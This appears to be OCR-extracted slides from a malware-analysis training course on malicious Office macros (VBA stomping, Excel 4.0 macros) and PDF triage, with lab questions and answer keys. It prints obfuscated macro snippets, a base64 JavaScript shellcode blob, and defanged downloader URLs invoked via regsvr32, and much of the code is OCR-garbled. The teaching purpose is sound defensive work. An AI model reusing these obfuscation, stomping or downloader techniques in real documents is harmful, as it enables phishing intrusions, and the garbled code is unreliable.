Chr (101) & Chr(l1é) & Chr(32) & Chr(1l09) & _
Chr(10l1) & Chr(11S) & Chr(115) & Chr(97) & _
Chr(103) & Chr(10l1))

End Sub

Result:

Microsoft Word X

Secret message
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Data Decoding
Base64 decoding using MSXML2 Document Object Model
e MSXML2.DOMDocument object used here

| (General)

Function Base64Decode (ByVal b4 As String) As Byte ()
' Adapted from example at:

Dim oXML
Dim oNode

Set oXML = CreatelCbject ("MSXMLZ.DCHMDocument™)
S5et olNode = oXML.createElement ("bg4™)

oMode.dataType = "bin.basee4™
oNode.Text = b&4
Base64Decode = oNode.nodeTypedValus

S5et olNode = Hothing
S5et oXML = Nothing
End Function

' https://stackoverflow.com/questions,/57138103/how-do-i-decode-a-base6d-string-in-ms-word-macro
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VBA Debugger
VBA runtime errors allow debugging
e Example to the right is a type mismatch
Can also set breakpoints, inspect values, and modify code

(General) v | |Testx o
= |
. Sub Testx()
Example- Dim something As Byte =
something = Application.Path
Call MsgBox (something)
End Sub
. Microsoft Visual Basic
Result:
Run-time error "13";
Type mismatch
Continue End . tep
Debugger: [ Tcenem o] [Testx ;
Sub Testx() =
Dim something As Byte
[+ something = Application.Path
Call MsgBox (something)
End Sub
|
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Operating the Debugger

ﬁ Microsoft Visual Basic for Applications - Document1 [break] - [NewMacros (Code)] - O X
& File Edit View |Inset Format Debug Run Tools Add-Ins Window Help -8 X
WE-ds@aanov» 1 a K §SFY = O
iz =l =2 ﬁl |(Genera|) vl IAsdf v
] ! Sub Asdf ()
= & Normal Set x = CreateCbject (Chr(83) & Chr(104) & Chr(l0l) & Chr(l08) & Chr(l08) & _
=88 Project (Document1) Chr(46) & Chr(65) & Chr(l12) & Chr(112) & Chr(108) & Chr(l05) & _
- (3 Mirosoft Word Objects Chr (99) & Chr(97) & Chr(l16) & Chr(l05) & Chr(lll) & Chr(110))
-5 Modules s = x.GetSystemInformation("IsO5_DomainMember™)
- 8 NewMacros ©| Hllsgsox (s)
(¥ References End Sub
|P ies - NewMacros L ~
roperties 5] :li 2 >
NewMacros Module v|
Alphabetic Categorized
(Name) NewMacros
NewMacros/NewMacros
X Variant/Object/IShellDispatché
s True Variant/Boolean
v
ﬂ Microsoft Visual Basic for Applications - Document1 [break] - [NewMacros (Code)] - a X
* File Edit View |Inset Format Debug Run Tools  Add-Ins Window Help -8 X
‘WME-A BRI 1 3 SEFY 2@ Ln7col
|Project - Project & |(General) vl |Asdl v
3 ! Sub Asdf () =
= & Normal = Chr(83) & Chr(l04) & Chr(101) & Chr(108) & Chr(108) & _
=& Project (Document1) HE[Z6) & Chr(65) & Chr(ll2) & Chr(112) & Chr(108) & Chr(105) & _
{&-(2 Microsoft Word Objects Chr(99) & Chr(97) & 5(116) & Chr(105) & Chr(lll) & Chr(110)
£ Modules Set x = CreateCbject (Wwhat is this)
‘4{ NewMacros s = x.GetSystemInformation("IsOS_DomainMember"™)
[~ References © (s)
End Sub
|P ies - NewMacros - 2
roperties il == <
NewMacros Module -
= | Locals xl
Alphabetic Categorized
(Nome) NewMacros [ Project.NewMacros. Asdf
Expression | vae [ Type A
NewMacros NewMacros/NewMacros
= wwnising
X Variant/Object/IShellDispatch6
s True Variant/Boolean
v
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Tactics — Dumping Deobfuscated Data

Data will often be decoded to an intermediate variable for later use.
Example:

e buf array below contains data of interest
e Added 5 lines of code to drop this to disk for examination

||:Genera|] v| |Howd1_.r

buf () = Baseod4Decode (3)

Dim outHum As Integer

outHum = FreeFile

Cpen "Ci:‘\Users‘user‘\buf.bin"™ For Binary As #outHum
Put #outHum, , buf

Close #outMum

il |
L]
W
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VBA Stomping

Source Code and p-code
VBA Project contains two copies of code

e Source code
e p-code

p-code is the compiled version of the Source code.

If a version of MS Office that opens the macro doc has an incompatible VB VM and p-code
version, then it recompiles from source code.

Source code p-code

e Text e Binary
e Original e Compiled
VB VB code
source
code
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Source Code and p-code
VBA Stomping de-synchronizes these:

e Source code - Modified to evade alerts etc.
e p-code - Malicious

p-code is NOT the compiled version of the VB text in the document.

If the macro doc is opened in a version of MS Office with the same VB VM and p-code version,
it ignores the stomped source code and runs the malicious p-code.

Stomped x p-code

e Not the e Compiled
original original
source VB code
code
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EvilClippy

e Free VBA Stomping Tool by Outflank.
e Advertised as decreasing detections on malicious documents.
e https://github.com/outflanknl/EvilClippy

It looks like your maldoc
does not yet bypass AV.

Do you want me to help?
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VA Stomping Analysis Tactics

olevba has experimental detection for VBA Stomping.

This is a stomped document

(True Positive) &

Sometimes throws false positives, such as with non-trivial, multi-module VBA projects.

.aocm

[Errno 2] No such file or directory:

Jocument.cls
in file: wo vbaProject.bin - OLE stream: 'VBA/ThisDocument'

Private
Howdy
End Sub

VBA MACRO
in file: wo vbaPro- eam: A/ NewMacros '

| AutoExec |Document_Open
|VBA Stomping |VBA Stomping was detected: the VBA source
| code e are different, this may have

fdecalage2/oletools/issues

VBA Stomping Analysis with Microsoft Office
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Given an olevba warning about VBA Stomping, it would be nice to be able to:

e Qualify whether the warning is a True Positive
e Recover the original malicious VBA code for analysis instead of resorting to p-code
analysis

Can use pcodedmp to compare p-code against source code.

e Not always practical for confirming/refuting VBA Stomping in large, multi-module VBA
projects

More robust analysis options available using Microsoft Office itself:

e Contains a decompiler for p-code
e Must use a compatible version of Office, or the malicious p-code will be discarded
e How to establish the correct version of office?
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Establishing the BVA Project Version Number

VBA Project | Office Versions

Version

97 00 2010 32-bit

A3 00 2013 32-bit

A6 00 2013 64-bit

AF 00 2016 / 2019 32-bit
B2 00 2016 / 2019 64-bit,

and 0365 32-bit (&
BS5 00 2021x64

tem32\cmd.exe

n_vba
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Handling Event Handlers with VBA Stomping

e Must enable macros to see decompilation, or the Macro Editor will display the
(potentially stomped) source code.

e Usually desirable to disable auto-executed functions before enabling macros to avoid
having them interfere with analysis.

e When working with VBA Stomping, it is necessary to achieve this by disabling the
relevant events (i.e. by modifying vbaData.xml).

@Trying to disable an event handler by renaming it, without enabling macros, will cause any
stomped source code to be compiled, overwriting the p-code and making it impossible to
recover the original code via decompilation.
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Lab — Budget Approval

Malicious Document Lab — Budget Approval

1. Are there any macros present in the document?

2. Identify the entrypoint of the macros.

3. Consider the sequence of calls in function 1hw489naw3 where a
variable is being repeatedly set. What type of value does this variable
contain when the sequence is complete?

4. Howis the above-mentioned value decoded?




5.

6.

7.

Malicious Document Lab — Budget Approval

Where is the final payload written to disk?

How could you extract the final payload?

What is the final payload? Hint — it is safe to run, we promise.

fole]




Malicious Document Lab — Budget Approval F LAR E

1. Are there any macros present in the document?

Yes, the document contains VBA macros.

2. ldentify the entrypoint of the macros.

The AutoOpen subroutine is automatically executed when the user

clicks "Enable Content". This subroutine simply calls another function

named 1hw489naw3.

3. Consider the sequence of calls in function 1lhw489naw3 where a

variable is being repeatedly set. What type of value does this variable
contain when the sequence is complete?

The malware reconstructs via concatenation a long Base64 string that

has been split into four different functions.

4, How is the above-mentioned value decoded?

The malware passes the Base64 string to the function bHah394nh which

decodes the Baseb4 encoding. The array of bytes returned from this

function is then XOR-decoded with the key 119 (0x77).
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Malicious Document Lab — Budget Approval F LAR E

5. Where is the final payload written to disk?

%*TEMP%\gapowengap.exe

6. How could you extract the final payload?

The malware does not execute or delete the payload once it is dropped,

so one method is to let the malware run and retrieve the payload from

disk. Another method is to insert a VBA snippet to dump the binary data

to another specified path once the payload is decoded.

7. What is the final payload? Hint — it is safe to run, we promise.

It is an NFT simulator game.
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Excel 4.0 Macros

Excel 4.0 Macros

e Also known as XLM Macros
e Introduced with Excel 4.0 in 1992
o Superseded by VBA with Excel 5.0 in 1993
o Remains in Excel for backward compatibility
e Sudden resurgence as of 2020
o Poor detection at the time from security vendors
e Usable in macro-enabled Excel document formats
o Macros must be written into Excel 4.0 macro sheets

Insert
| Genera Spreadshest Solubions
@ L& |85 |o°°
— =. I =
[ Delete Werkshaet| Chart | M5 Excel4.0 | MS Excel 5.0 "
Mamo Cualog
Benarme
Mowve or Copy.
ql View Code
. Prewview not available,
L Protect Sheet...
Tab Color ¥
Hide
Unhide...
elect All Sheets
2ele eet Templates an Office.com [ o Cancel
Sheetl (+)
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Phishing

XLM macros are disabled by default — user must click “Enable Content”.

I SECURITY WARNING Macros have been disabled, Enable Content

Al v S

Document created in earlier version of
Microsoft Office Excel

To view this content, please dick "Enable Editing” form the yellow bar and then dick
"Enable Content”

O 00 N O & W N -

Identifying Excel 4.0 Macros (OOXML)
Presence of x1/macrosheets directory

Property declaration in docProps/app.xml
<vt:variant>
<vt:lpstr>Excel 4.0 Macros</vt:lpstr>
</vt:variant>

oleid fromoletools
*0leid <FILE>
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Identifying Excel 4.0 Macros (OLESS)

> python oledump.py -p plugin_biff -pluginoptions "-x" <FILE>

1: 4096 '\x@5DocumentSummaryInformation’

2: 4096 '\x@5SummaryInformation’

3: 15938 'Workbook’
Plugin: BIFF plugin
0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheetl
0085 14 BOUNDSHEET : Sheet Information - Excel 4.8 macro sheet, visible - Macrol

Hidden Sheets

e Macro sheets and sheets with obfuscated data are often hidden
e Unhide using the Excel Ul
o Right-click a sheet name > Unhide > Select sheet

Insert... -

Delete Unhide E
Rename Unhide sheet:

Move or Copy... [ -
Q] View Code
L_' Protect Sheet...

Tab Colar ]

%

:h-.'h’- -
Unhide... ||

Select All Sheets [ OK ] | Cancel

Sheetl | (¥
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Very Hidden Sheets (OOXML)
Specified by the state attribute on sheet elements listed in xl/workbook.xml
<sheets>
<sheet name="Sheetl" sheetId="1" r:id="rId1"/>
<sheet name="Macrol" sheetId="2" state="veryHidden" r:id="rId2"/>
</sheets>

Manually remove the state attribute and re-zip into a document for analysis

Very Hidden Sheets (OLESS)

> python oledump.py -p plugin_biff --pluginoptions "-x -R" <FILE>

9985 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheetl
85 00 Oe 00 dO 3a 00 00 0O 0@ 06 00 53 68 65 65 74 31

0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macrol
85 00 Ve 0O 56 3c 00 00 91 01 06 00 4d 61 63 72 6f 31

0085 14 BOUNDSHEET : Sheet Information - Excel 4.8 macro sheet, very hidden - Macro2
85 00 Pe 00 51 40 00 00 02 @1 @6 00 4d 61 63 72 6f 32

Method 1. Manually modify Very Hidden (0x02) to Visible (6x00) in a hex editor
e Record structure (BoundSheet8) details are described in [MS-XLS]

Method 2. Use external tools or the Excel.Application COM object with PowerShell
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Extracting Excel 4.0 Macros
Method 1. Manual Extraction

e OOXML
o Macro sheets are located under x1/macrosheets
o Cell values are listed under the <sheetData> element
e OLESS
o Use oledump’s plugin_biff with the "-x" flag to extract cell values and
formulas

Method 2. XLMMacroDeobfuscator (github.com/DissectMalware/XLMMacroDeobfuscator)

e xlmdeobfuscator -x --sort-formulas -f <FILE>
e Has the capability to deobfuscate by parsing and emulating Excel 4.0 macros
e Works for both OOXML and OLESS

Method 3. Excel Ul

e Most reliable method in heavily obfuscated samples
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Identifying the Entrypoint

e Auto-execution labels are case-insensitive and ignores any suffixes
o For example, auTo_OpEN7b2 is equivalent to Auto_Open
e View and edit in Name Manager
o Delete labels prior to “Enable Content” to prevent execution
e Auto-execution labels
o Auto_Open
= Execute on document open (most common)
o Auto_Close
= Execute on document close
o Auto_Activate
= Execute on worksheet or macro sheet focus-in
o Auto_Deactivate
= Execute on worksheet or macro sheet focus-out

Mame Manager @
New... Filter ~
Mame Value Refers To Scope Comment
=liauTo_OpEMTb2 =Macrol!SR51 Workbook
Refers to
&
Close

Identifying the Entrypoint
Method 1 (OLESS). oledump plugin_biff
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LABEL:Cell Value, String Constant - built-in-name 1 Auto Open len=7
ptgRef3d Sheet1!R1C18

Method 2 (OOXML). The <definedNames> list inside x1/workbook.xml
<definedNames>

<definedName name="_xlnm.Auto_Open">Macrol!$R$1</definedName>
</definedNames>

Method 3. XLMMacroDeobfuscator
> xlmdeobfuscator --defined-names -f <FILE>
[Defined Names]

auto open --> 'Macrol'!$R$1

Method 4. PowerShell
> $app = new-object -comobject Excel.Application
> $workbook = $app.Workbooks.Open(<FILE>)
> $workbook.Exceld4MacroSheets.Application.Names
Name : Auto_Open
RefersTo : =Macrol!$R$1
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Syntax and Execution
Cell references

e Al notation: column letter - row number
e RI1C1 notation (absolute): R - row number — C — column number
e RI1C1 notation (relative): R - [relative row offset] — C — [relative column offset]
o R[-1]C[-2]: specifies the cell whose location is up one row and left two
columns relative to the current cell

Sheet references

e <sheet name>!<cell address> (e.g. Sheetl!B4)
Strings

e Enclosed in double quotes ()

e Concatenation with ampersand (&)
Execution

e Execute down the column: A1 - A2 > A3 — . ..
e Macro program should end with a HALT() or RETURN()

Formulas

e Equal sign (=) followed by constants, operators, and functions
e Multiple functions may be chained together

o =FORMULA(..)=FORMULA(...)=FORMULA(...)
e Evaluated left to right

Common Functions
FORMULA(formula_text, reference)

e Enters a formula specified by formula_text into the cell specified by reference
e Used to build and insert macros into cells during execution for obfuscation
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GET.WORKSPACE (type_num)

e Returns information about the workspace environment

e Used to implement anti-sandbox checks

e Example type_num:
o 13, 14: Returns the workspace width and height, respectively
o 19: Returns TRUE if a mouse is present
o 42: Returns TRUE if host is capable of playing sounds

Common Functions
CALL(module_text, procedure, type_text, [argumentl], ...])

e Call a procedure in a dynamic link library
e Used to access native functions such as ShellExecuteA and URLDownloadToFileA
e Example: CALL("Kernel32","GetTickCount","3")

FOPEN(file_ text, access_num)

e Open a file with the specified access permissions
e Open a file with read/write permissions: FOPEN("C:\Users\Public\info.txt", 2)
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Debugging

Single step mode

e =STEP() enters single step mode when executed
e View > Macros > View Macros > Step Into

Debugger

Macro

Macro name:
Ri|

B3

R =

Run

»

il

Macros in: | All Open Workbooks

Description

Step Into

Cancel

Step Over — Single step; move to the following cell

Step Into — Single step; follow custom defined functions / subroutines
Evaluate — Evaluate intermediate steps and arguments

Halt — Stop macro execution
Goto —Jump to the currently executing cell

-

# | Single Step
Cell: [Bookl.xis]Macrol!R1

Formula:

=FORMULA(AL SASEAL SASSALSAT SASEAIOEAL L BAI 28AIS&AL4E
AlSEAIGEAISRAIIEA20 A1 RA228A23BA24 BASBA2TBA2BEA9&
ASOSASI BAS28AS3EASSBASOGAST AASSEASIS A0 A4 28 A438A44 &
A4S5E8A468A47,51)

[ Step Into ][

Evaluate } [ Halt ] [ Goto J

[ Step Over ][ Pause ][ Continue j[ Help J
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Obfuscation
Visual obfuscation

e White text on white background

e Minimized columns
e Out-of-sight cells

Macro obfuscation

e Spread macros across cells and reconstruct with FORMULA

e Multiple function calls in one cell

e Split strings across cells

=CHAR(76) =CHAR(76) =CHAR(7G) =CHAR(76) =FORMULA|C18.C38CARCoRCORCTRCIRCIOACIIRCIZACISACIAECISRCI6EC1BE]
=CHAR(76) =CHAR(69) =CHAR(76) =CHAR(79) =FORMULA(D2&D4&D5&DE&DTRDEEDI0&DI1EDI2&D13&D148D15&D168017H
=CHAR(40) =CHAR(B2)ECHAR(E =CHAR(40) =CHAR(B3) =FORMULA(E1RE3EE4RESEERRETRESREIDEEIIZEIZAFISAEIARFISREIGRE]IREH
=CHAR(34) =CHAR(34)&CHAR(B =CHAR{BS) =FORMULA(F1&F3&F4EFSEFEEFTEFORFIOEFIIZFIZEF]ISEFIAEFISRF]16EF1BER
AlR AlR AlUR AlUR

=CHAR(117) =CHAR(40) =CHAR(104) =CHAR(40) =FORMULA|G1&G3&G4EG5&G6EGTEGIAGI0EGII&AG]IEGIIEG14EGISEGIEE
=CHAR(114)&CHAR[108) =CHAR(34) =CHAR(101) =CHAR(70) =FORMULA{H1&H3&H4&H5&HE&HTEHI&EHI0&H]11&H]128H]3&H]148H]1 58 H1EE,
=CHAR(108) =CHAR(B4) =CHAR(108) =CHAR(B5) =FORMULA{ 118138148 158168 17& 128 1108111811281 13811481158 | 1681188119812
=CHAR(111) =CHAR(104) =CHAR(108) =CHAR(76) =FORMULA{J18138 14858168178 3811081118 1128138148158 1681188119812
=CHAR(110) =CHAR(101) =CHAR(51) =CHAR(83) =FORMULA[K1EKSEKABKSEKOEKTRKIEIDEKI1 K1 ZEK]FEKIAEK]SEK]168K]E,5]
=CHAR(34) =CHAR(32) =CHAR(50) =CHAR(B9) =FORMULA{L1ZL3& 1481 SR 6ELTELSEL 108 118112811381 1481158168 1BRL15,
=CHAR[44) =CHAR(34) =CHAR(41) =FORMULA{M1&M3IEMAEMEEMEEMTEMIEMI0EMI1EMIZEMIZEMI4EMISEN
=CHAR(34) =CHAR([118)&CHAR| =CHAR(44)&CHAR(3 =FORMULA{NI&NIENAENSENGENTENIENIOENTI&N]1ZENII&EN14EN1SEN1GE,
AlR AlR AUR

=CHAR(B5)&CHAR(BZ) =CHAR(114) =CHAR(B3) =FORMULA{O18:038.0480580680780580108011801280138014801580168,
=CHAR(76) =CHAR(107) =CHAR(104) =FORMULA|P1&P3EPAEPSEPEEPTEPIRPI0EPIIEPIZEPISEPIAEPISEF]IGEP1BEN
=CHAR[BE) =CHAR[S8) =CHAR[101} =FORMULAIO1R03804805806&0750598010801180178015380148015.520)

Dealing with Obfuscation
XLMMacroDeobfuscator

e Easiest option if it is able to parse, emulate, and terminate without error

Debugging

e Use single step debugging and the Evaluate feature to observe intermediate steps

Show resulting values

e Toggle Formulas > Show Formulas to show values in cells instead of formulas
e Can help in dealing with string obfuscation with functions like CHAR
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Lab —invoicel486

Malicious Document Lab — invoice1486 F LﬂR E

1. What type of file is this? How do you know?

2. What is the document extension type? How do you know?

3. Are there any macros present in the document?

4, List all the sheets in the document.
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Malicious Document Lab — invoice1486 F LAR E

5. Identify the entrypoint of the macros.

6. Open the document and locate the sheet containing macro entrypoint.
What is hidden in this sheet?




Malicious Document Lab — invoice1486 F LAR E

7.  Use the macro debugger to deobfuscate the macros. What Windows
APIs are invoked?

8. What are the network-based indicators?

9. What are the host-based indicators?

10. Summarize the functionality of the malware.




Malicious Document Lab — invoice1486

What type of file is this? How do you know?

The first two bytes of the file are 5@ 4B ("PK") which indicates it is a

ZIP archive. The file's unzipped contents contain a x1 directory,

which indicates the file is an OOXML Excel document.

What is the document extension type? How do you know?

The ContentType for the main workbook document part is

application/vnd.ms-excel.sheet.macroEnabled.main+xml,

which indicates that the document is a macro-enabled document (. x1sm).

Are there any macros present in the document?

Yes, [Content_Types].xml identifies the presence of a

/x1l/macrosheets directory and several macro sheets.

docProps/app.xml also indicates that Excel 4.0 Macros are in use.

List all the sheets in the document.

In addition to the initially visible worksheet “Sheet”, /x1/workbook . xml

lists five hidden sheets: “Fefwql”, “Sbrrrrww1”, “LLELFLLEF", “Bt1”,

and “Bt2”




Malicious Document Lab — invoice1486

Identify the entrypoint of the macros.

/xml/workbook.xml contains a definedName entry

<definedName name="_ xlnm.Auto Open">LLELFLLEF!$E%1

</definedName> which indicates that the Auto_Open label is

setto LLELFLLEF!E1. This is the Excel 4.0 macro entrypoint that is

executed when the user clicks "Enable Content".

Open the document and locate the sheet containing macro entrypoint.
What is hidden in this sheet?

Once we unhide the sheet LLELFLLEF, we notice that the column E has

been minimized. Once the column is expanded, there aren't any macros

immediately visible. Looking at the corresponding macro sheet part

/x1l/macrosheets/intlsheetl.xml for sheet LLELFLLEF, we see

that there is an entry for cell E5 under the <sheetData> list.

Locating cell ES in the Excel Ul, we see that the text color has been set to

white against the white background to make it invisible.




Malicious Document Lab — invoice1486

7.  Use the macro debugger to deobfuscate the macros. What Windows
APIs are invoked?

After deleting the Auto_Open label via the Name Manager and clicking

"Enable Content", we can enter single step mode. Using the debugger’s

Evaluate function repeatedly on the obfuscated macros in cell ES reveals

that it is unpacking additional macros into cells E14, E16, E18, E20, E22,

E24, and E26.

8. What are the network-based indicators?

hxxp://totally.legit.mandiant[.]com/igXaEtFzqP/hn.png

hxxp://c2.mandiant[.]com/xCMg4nCOmKOL/hn.png

hxxp://evil.mandiant[.]com/ZDfDMBbmv5/hn.png

9. What are the host-based indicators?
C:\Watdan\sxsl.ocx, C:\Watdan\sxs2.ocx, C: \Watdan\sxs3.o0cx

10. Summarize the functionality of the malware.

It is a downloader. It downloads a file from each of the listed domains

and invokes each of the downloaded file's D11RegisterServer export

via regsvr32.




Portable Document Format (PDF)

Portable Document Format (PDF)

%PDF-<version =-—— Header
>

| -— Bod
Additional trailers and ObJeCtS y

xref tables can be

appended from "
incremental updates

Cross-reference table

startxref <X> %%EOF... +— Trailer

Cross-reference Table
xref

0 8
000017 65535
00000017 00O
0000000166 00000
0000000222 00000
00000511 00O
000000911 000
0000001086 0LV
0000001343 00000

A J

Beginning
First object / Object count

v

Objects
Offset / generation / in-use

> 3 S5 S S 35 3 =
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Data Object Types

null
Boolean
integer
real

name
string
array
dictionary

A J

stream

A J

Document Structure

Catalog object refers to Page /

Tree

Also refers to optional keys that
provide document-level
information

The document is atree,
‘- and the root is the
Catalog
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Objects can be referred
to directly or by
reference (indirect)

Most common, enclosed in <<>>
Binary data, may be compressed or encoded




String Formats and Syntax

Standard

A J

A J

Hexadecimal

Hexadecimal (alt) >
\ddd (octal) >

SOLIDUS (/) precedes Name objects
Dictionary objects enclosed in <<>>

Hello There

<48656C6(C6F205468657265>
Hello #54here
Hello \11@here

> /Hello There
<</Key /Value>>

Stream objects consist of adictionary followed by stream and endstream —»

Indirect Objects and Streams

obj 88 @

Type:
Referencing: 89 @ R

<<

/JS 89 @ R

/S /JavaScript
>>

7

v

dictionary
stream
data
endstream

object 88 refersto
‘- object 89, which is
DEFLATE compressed

obj 89 @

Type:
Referencing:
Contains stream

<<
/Filter [/FlateDecode]
/Length 86848

>>




Triage Process

/OpenAction » displayed when the document is opened

/AA(additional-actions dictionary) —— additional events that can trigger an action

/3S, /JavaScript P execute JavaScript

/XFA(XML Forms Architecture) =———— can trigger JavaScript

/RichMedia P can be used to embed Flash

Action Types
PDF reader should prompt first before acting

Launch

e /Type /Action /S Launch /F <calc.exe>
e Launches a given filename

URI

e /Type /Action /S URI /URI <URI to visit>
e Opens a particular URI

Look out for these
‘- especially as

OpenAction
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PDFiD

e Scan a file to look for certain PDF keywords

Identify PDF documents that contain JavaScript or execute an action when opened.
PDFiD will also handle name obfuscation
https://blog.didierstevens.com/programs/pdf-tools/

PDFiD 0.2.1 64f4f354cbh28e8e01d]
PDF Header: %PDF-1.7

obj 39
endobj 39
stream 11
endstream 11
xref

trailer
startxref
/Page

/Encrypt
/0bjStm

/JS
/JavasScript
/AA
/0penAction
/AcroForm
/JBIG2Decode
[ /RichMedia
/Launch
JEm
/XFA
/Colors > 2A24

,....,
(Y

QRO RRIOCONKEINORKEEKENN

o] |
Ela

pdf-parser
Parse a PDF document to identify the fundamental elements
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Most useful flags:

-0 <id> target specific objects in the PDF

- ¢ display content for streams without filters
-f decode streams with filters

-w display raw data

-d dump to file
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[nr Comment '%PDF-1,6\r'
DF Comment '%\xe2\xe3d\xcfi\xd3\r\n"

bbd 41 0
Type:
Referencing:

E< 4

SLinearized 1

/L 116261

/O 43

fE 74576

/H 5

JT 115880

JH [ 533 270)
>

ebj 70 ©

Type: /XRef

Referencing: 40 O R, 42 O R
Contains stream

<<
/DecodeParms
<<
/Columns=s 5
/Predictor 12
>>
JFilter /FlateDecode
/ID [<FFFE51133DBS5Bl664D6RBDS4D94D18FBS8C1»<50B60CE6E6T2019D459048750BREETBED2>]
fIndex [41 44]
JInfo 40 0O R
/Length 124
/Prev 115881
/Root 42 0 R
f8ize BS5
/Type /[XRef
/W13 1)
»

Etartx:et o

DF Comment "%%ECF\r\n'
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pdfstreamdumper

18 0x15613-0x1.

%l |
21 OxlaEzR-oxl. |

23 0x1BE7C-0xl. .|
24 OxlCZFF-Ox1. |
25 0x1C405-0x1.
26 0x1C583-0x1.

42 HLen: 0x=D

5 Hlen: 0x28
86 HLen: 0x1C
87 HLen: 0x17

53 0xaz
0 HLen:
] i b

e GUI Tool for parsing and analyzing PDF files
e View deflated stream contents
e JavaScript interpreter
e https://github.com/dzzie/pdfstreamdumper
PDFStreamDumper - hittp://sandsprite.com  FileSize: 203Kb  LoadTime: 0.702 seconds = ||-en- ]
Load Exploits Scan  Javascript Ul Unescape Selection Manual_Escapes  Update_Current Stream  Goto_Object Search_For  Find/Replace Tools  Help_ Videos
Gi Ghmesis “|lvar B {k:£(1),d : function (_i) {var o wiivar c¢l, c2, c3;var el, e2, e3, ed; var i = 0; _i = _i.replace(/[*A-Za-20-9\+\/\\=1/g, ""); while (i < _i.length) { el = 4
‘this.k.indexOf (_i.charAt(i++)); e2 = this.k.indexOf(_i.charAt(i++)); e3 = this.k.indexOf (_i.charAt(i++)); ed = this.k.indexOf (_i.charAt(i++)); cl = (el << 2) | (e2 >> 4); o2
s onsiom-oxerie ||= ((€2 & 1B) << 4) | (e3 >> 2); ©3 = ((e3 & 3) << 6) | e4; o = o + String.fromCharCode (c1); if (e3 != 64) { o = o + String.fromCharCode (c2); } if (ed != 64) {o = o +
String.fromCharCode(c3); }} o = B.u(o); return o;},u : function (ut) {var s = "";var i = 0; var cl = 0; var c2 0; var ¢3 = O;while ( i < ut.length ) {cl = ut.charCodeAt(i) ;
if (cl < 128) {s += string.fromCharCode(cl); i++;}else if((cl > 191) && (cl < 224)) {c2 = ut.charCodeAt(i+l);s += string.fromCharCode(((cl & 31) << 6) | (c2 & 63));i += 2;}
€z 0uD9DE-0xD9Z¢  ||lelse { c2 = ut.charCodeAt(i+1) ;c3 = ut.charCodeAt(i+2);s += String.fromCharCode (((cl & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));i += 3;}}return s;}}; function £(i){var

s="ABCDEFGHI JKLMNOPQRSTUVWXY Zabode fghi jklmnopgrs tuvwxyz0123456789+ /:
{var

pst="dmFyIHM9bmV3IFVpbnQzMKFycmF5KF sweEVDOEI INTYWLCAWe DAWMDAXNOU4LCAWeDhCNJE1RDAWLCAWeDBDRTg4MOM1 LCAWe DkWNThCODKOLCAWeDA40EI ZMDMx LCAWeDg5SMDQOMDhCLCAWeD ION JBGR JAXLCAWe DgXRUMAQ
jU1LCAweDAWMDE ONEVDLCAweDU3NTY 1MzAwLCAweEM3R jgONThELCAwe DYWMUNGODQ 1 LCAwe EJGNTBCR j YWLCAwe DUwQk I SMTVFLCAwe DAOMThFODU3LCAWeDVEOEIwMDAWLCAwe DAXMDQ 20EY 4 LCAWe DQWNKEWMDAWLCAwe EYWOE J
[EM( ZGLCAwWeEZFQKMANUM3 LCAWeDOXNUNGRKZGLCAWeDg1Qzc 2R j YO LCAWeEZGCRKZGRUMWLCAWe DOXNUM2NT Yy LCAWe EZFQzQ4NUM3 LCAWe DRENT JGRKZGLCAWeDg 1Q0zcZMTVD LCAWe EZGRKZGRUMA LCAWe DOXNUMZMD JFLCAWeEZFQ
(OMANUM3LCAWeDZGN JRGRKZGLCAWEDg1Qzc2NTYyLCAWe EZGRKZGRUQWLCAWeD JFNEQ1MjQx LCAWe EZFRDQANUM3LCAWe DcANjVGRKZGLCAWe DQ1 OEQWMD Y 1 LCAWe EZDNDVDNO ZD LCAWe DEWOTBBRTU4 LCAWeD T 0QUT 20DUWLCAWEEF
GRThENOQ3LCAweDZEMDAWMDAZ LCAWeDU2MKM2QTAWLCAWeDU1RKYwWMD ZELCAWweEZDNDU4REZDLCAweD 1IBRKMONUM3LCAweDUwMz FERTVCLCAWe DAZOTRFODU3LCAWe Dg1OEQWMDAWLCAWeEZGRKZGRUJDLCAWeDUIRKY INjUWLCAwe
'DAOMOFFOEZDLCAWe DAYNKEWMDAWLCAWe DAZMTA2QTUS LCAWeDg5NDA2QUMX LCAWe EQ zRKZEODQ1 LCAWeDQWNKE ONDZBLCAWe EQzRkZGODhCLCAWeEM3RDQONTg 5 LCAWe ET 10UZGQzQ1 LCAWe DAWQ zdGMz kwLCAWe DAWMDAWMDQO LCA
'weDUwRKMONThELCAweEJCNzZE1RTY 4 LCAweDAZNTBFODUWLCAwWeEZGNT cwMDAWLCAWwe EMWMzNEND 1 LCAweDAONKE 1MDUwLCAWeDUWNTAIMTUS LCAWeE ZGNTY 1IMDUWLCAwe EMWODVGQzU1 LCAWe DAZMKQ4ANDBGLCAWeENDN jgwMDAWL
(CAweDZBMDAWMDAYLCAWeDhCRDNGR jQWLCAWe EZDNDVDNO YWLCAWe DNFOTMONTNFLCAWe Dg5RKMONThELCAWe EJCNTBDQ z ¢1 LCAWeDUWQ KT 3MTVFLCAWeDA3SMDZDN zU zLCAWe EUAMD AWMTAWL CAWe DAWMDAWMz BBLCAWe EM3R jQONTh
EELCAWeEM1QURGNDQ1LCAWeDUzNTBDQzFCLCAWeDAWMD JGOUU4LCAweDe3RKY 1N JAWLCAWeEZDNTVGR JAO LCAWeDg1lR jQ1RDhCLCAWeDZBMDY SNUMWLCAWeEZGMzdGR JAXLCAWeEEQQ Y 40kQ zLCAWe DhEMD AWMDAWLCAWe DY ANTBGQ
zQ1 LCAWeDUWQKI 3MTVF LCAWeEM3MDhDN jgzLCAWeEJDRThGQz(Q1 LCAWEEM3RThER jRBLCAWe DZBMDAWMD Ay LCAWe DU4AMDQ2QTAWLCAWe EQWNDU4ARDUWLCAWeDM3RKY INJUWLCAWeDg1RKM1NUZGLCAWeD ZBMD Y SNUMWLCAWe EZGMzd
GRIAXLCAWeEYONDU4REQz LCAWeDgyR JQONUM3 LCAWeDUWNOU4NZzk2LCAweDk1NKJIBN j Y 4LCAWeDAYOThFOERGLCAwe DKONjgwMDAWLCAweDZ BMDAWMDAWLCAWeEY ANTVGR JQWLCAWeDQ1QzdGMDhCLCAWeDFFMOFGRUZDLCAWSEZDN
